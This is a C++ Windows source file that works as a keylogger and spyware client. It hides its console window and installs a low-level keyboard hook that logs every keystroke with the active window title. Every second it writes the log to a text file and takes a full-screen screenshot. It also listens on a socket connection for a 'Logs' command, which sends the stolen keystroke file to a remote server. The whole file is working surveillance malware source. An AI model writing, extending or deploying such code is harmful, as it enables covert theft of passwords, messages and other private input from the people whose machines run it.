#define _CRT_SECURE_NO_WARNINGS
#pragma comment(lib, "ws2_32.lib")
#include "Sv.h"
#include <Windows.h>
#include <iostream>
#include <string>
#include <gdiplus.h>
#include <fstream>
using namespace Gdiplus;
#pragma comment (lib, "gdiplus.lib")
std::string str;
std::string newa = "\n";
std::string Po = ">>\t";
std::string lastw;
std::string str1;
std::string GETA()
{
	char wnd_title[256];
	HWND hwnd = GetForegroundWindow(); // get handle of currently active window
	GetWindowText(hwnd, wnd_title, sizeof(wnd_title));
	return wnd_title ;
}
void hideWindow() {
	HWND window = GetConsoleWindow();
	if (IsWindowVisible(window)) {
		ShowWindow(window, SW_HIDE);
	}
}
HINSTANCE hInst;
HWND list;
bool hooked = false;

LRESULT CALLBACK LowLevelKeyboardProc1(int code, WPARAM wParam, LPARAM lParam);
HHOOK hhook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)LowLevelKeyboardProc1, hInst, 0);
LRESULT CALLBACK LowLevelKeyboardProc1(int code, WPARAM wParam, LPARAM lParam) {
	if (code == HC_ACTION && (wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN)) {
		static bool capslock = false;
		static bool shift = false;
		char tmp[0xFF] = { 0 };
		DWORD msg = 1;
		KBDLLHOOKSTRUCT st_hook = *((KBDLLHOOKSTRUCT*)lParam);
		bool printable;
		msg += (st_hook.scanCode << 16);

		if (st_hook.scanCode = 0x3a)
		{
			msg += ((st_hook.flags & LLKHF_EXTENDED) << 24);
		}
		msg += (st_hook.flags << 24);
		if (st_hook.vkCode == VK_LWIN)
		{
			str = "[WinK]";
		}
		GetKeyNameText(msg, tmp, 0xFF);
		str = std::string(tmp);
		printable = (str.length() <= 1) ? true : false; //if char is p.g 'E' -> printable, Ctrl -> not printable

		if (!printable) {
			if (str == "CAPSLOCK" || str == "Caps Lock")
				capslock = !capslock;
			else if (str == "SHIFT" || str == "Shift")
				shift = true;

			if (str == "ENTER" || str == "Enter") {
				str = "[E]";
				printable = true;
			}
			else if (str == "SPACE" || str == "Space") {
				str = " ";
				printable = true;
			}
			else if (str == "TAB" || str == "Tab") {
				str = "\t";
				printable = true;
			}
			else {
				str = ("[" + str + "]");
			}
		}

		if (printable) {
			if (shift == capslock) { /* Lowercase */
				for (size_t i = 0; i < str.length(); ++i)
					str[i] = tolower(str[i]);
			}
			else { /* Uppercase */
				for (size_t i = 0; i < str.length(); ++i) {
					if (str[i] >= 'A' && str[i] <= 'Z') {
						str[i] = toupper(str[i]);
					}
				}
			}

			shift = false;
		}
	/*	if (hooked)
		{
			if (lastw == GETA()) {
				str1 = str1 + str;
				send(sock, str1.c_str(), sizeof(str), 0);

			}
			else {
				lastw = GETA();
				str1 = str1 + newa + Po + GETA() + newa + str;
				send(sock, str1.c_str(), sizeof(str), 0);
			}
		}
		else {*/
			if (lastw == GETA()) {
				str1 = str1 + str;
			}
			else {
				lastw = GETA();
				str1 = str1 + newa + Po + GETA() + newa + str;
			}
		//}

	}
	return CallNextHookEx(hhook, code, wParam, lParam);
}
int GetEncoderClsid(const WCHAR* format, CLSID* pClsid)
{
	UINT  num = 0, size = 0;
	Gdiplus::GetImageEncodersSize(&num, &size);
	if (size == 0)
		return -1;
	Gdiplus::ImageCodecInfo* pImageCodecInfo = (Gdiplus::ImageCodecInfo*)malloc(size);
	if (!pImageCodecInfo)
		return -1;
	Gdiplus::GetImageEncoders(num, size, pImageCodecInfo);
	for (UINT j = 0; j < num; ++j)
		if (wcscmp(pImageCodecInfo[j].MimeType, format) == 0)
		{
			*pClsid = pImageCodecInfo[j].Clsid;
			free(pImageCodecInfo);
			return j;
		}
	free(pImageCodecInfo);
	return -1;
}
void makescreen()
{
	Gdiplus::GdiplusStartupInput gdiplusStartupInput;
	ULONG_PTR gdiplusToken;
	GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, 0);
	HWND desktop = GetDesktopWindow();
	HDC desktopdc = GetDC(desktop);
	HDC hdc = CreateCompatibleDC(desktopdc);
	int width = GetSystemMetrics(SM_CXSCREEN);
	int height = GetSystemMetrics(SM_CYSCREEN);
	HBITMAP mybmp = CreateCompatibleBitmap(desktopdc, width, height);
	HBITMAP oldbmp = (HBITMAP)SelectObject(hdc, mybmp);
	BitBlt(hdc, 0, 0, width, height, desktopdc, 0, 0, SRCCOPY | CAPTUREBLT);
	SelectObject(hdc, oldbmp);
	bool defaultfn = true;
	wchar_t const filename[] = L"screenshot.png";
	char format[4] = "png";
	wchar_t encoder[10] = L"image/png";
	long quality = -1;
	int resize = -1;
	Gdiplus::Bitmap* b = Gdiplus::Bitmap::FromHBITMAP(mybmp, 0);
	CLSID encoderClsid;
	Gdiplus::EncoderParameters encoderParameters;
	Gdiplus::Status stat = Gdiplus::GenericError;
	if (b && GetEncoderClsid(encoder, &encoderClsid) != -1)
		stat = b->Save(filename, &encoderClsid, 0);
	Gdiplus::GdiplusShutdown(gdiplusToken);
	ReleaseDC(desktop, desktopdc);
	DeleteObject(mybmp);
	DeleteDC(hdc);
}
void saver() {
	std::ofstream outfile;
	while (true)
	{
		Sleep(1000);
		outfile.open("sample.txt", std::ios_base::out | std::ios_base::app);
		//outfile << "\nDate: " << a.wDay << "/" << a.wMonth << "/" << a.wDay << " - " << a.wHour << ":" << a.wMinute << std::endl;
		outfile << str1.c_str();
		str1 = "";
		outfile.close();
		makescreen();
		std::cout << "[Salvado]\n";

	}

}

void  Start() {
		Server * a = new Server(2222,"127.0.0.1");
}
int run() {
	HANDLE myHandler;
	DWORD myThreadID;
	myHandler = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)saver, 0, 0, &myThreadID);

	hhook;
	MSG Message;
	while (GetMessage(&Message, 0, 0, 0)) {
		TranslateMessage(&Message);
		DispatchMessage(&Message);
	}
	return Message.wParam;
}
bool senddata(SOCKET sock, void *buf, int buflen)
{
	const  char *pbuf = ( char *)buf;

	while (buflen > 0)
	{
		int num = send(sock, pbuf, buflen, 0);
		if (num == SOCKET_ERROR)
		{
			if (WSAGetLastError() == WSAEWOULDBLOCK)
			{
				// optional: use select() to check for timeout to fail the send
				continue;
			}
			return false;
		}

		pbuf += num;
		buflen -= num;
	}

	return true;
}

void FileSend(SOCKET FileSendSocket){

FILE *img = fopen("sample.txt", "rb");
fseek(img, 0, SEEK_END);
unsigned long filesize = ftell(img);
char *buffer = (char*)malloc(sizeof(char)*filesize);
rewind(img);
// store read data into buffer
fread(buffer, sizeof(char), filesize, img);
// send buffer to client
send(FileSendSocket, buffer, filesize, 0);

}

void Comds() {
	char buf[4096];
	std::string SvCMD;
	while (true) {
		ZeroMemory(buf, 4096);
		int bytesReceived = recv(sock, buf, 4096, 0);
		if (bytesReceived > 0) {
			SvCMD = std::string(buf);
			if (SvCMD == "Logs") {
				FileSend(sock);
			}
			if (SvCMD == "Hook") {

			}

		//	cout << "Server_> " << SvCMD << endl;
		//	send(sock, filehandle, sizeof(buf), 0);
		}
			//cout << "Server off> " << SvCMD << endl;


	}
	closesocket(sock);
	WSACleanup();
}
int main() {
	hideWindow();
	HANDLE myHandler;
	DWORD myThreadID;
	myHandler = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)Start, 0, 0, &myThreadID);
	HANDLE myHandlexr;
	DWORD myThreadIxD;
	myHandlexr = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)Comds, 0, 0, &myThreadID);

	run();
}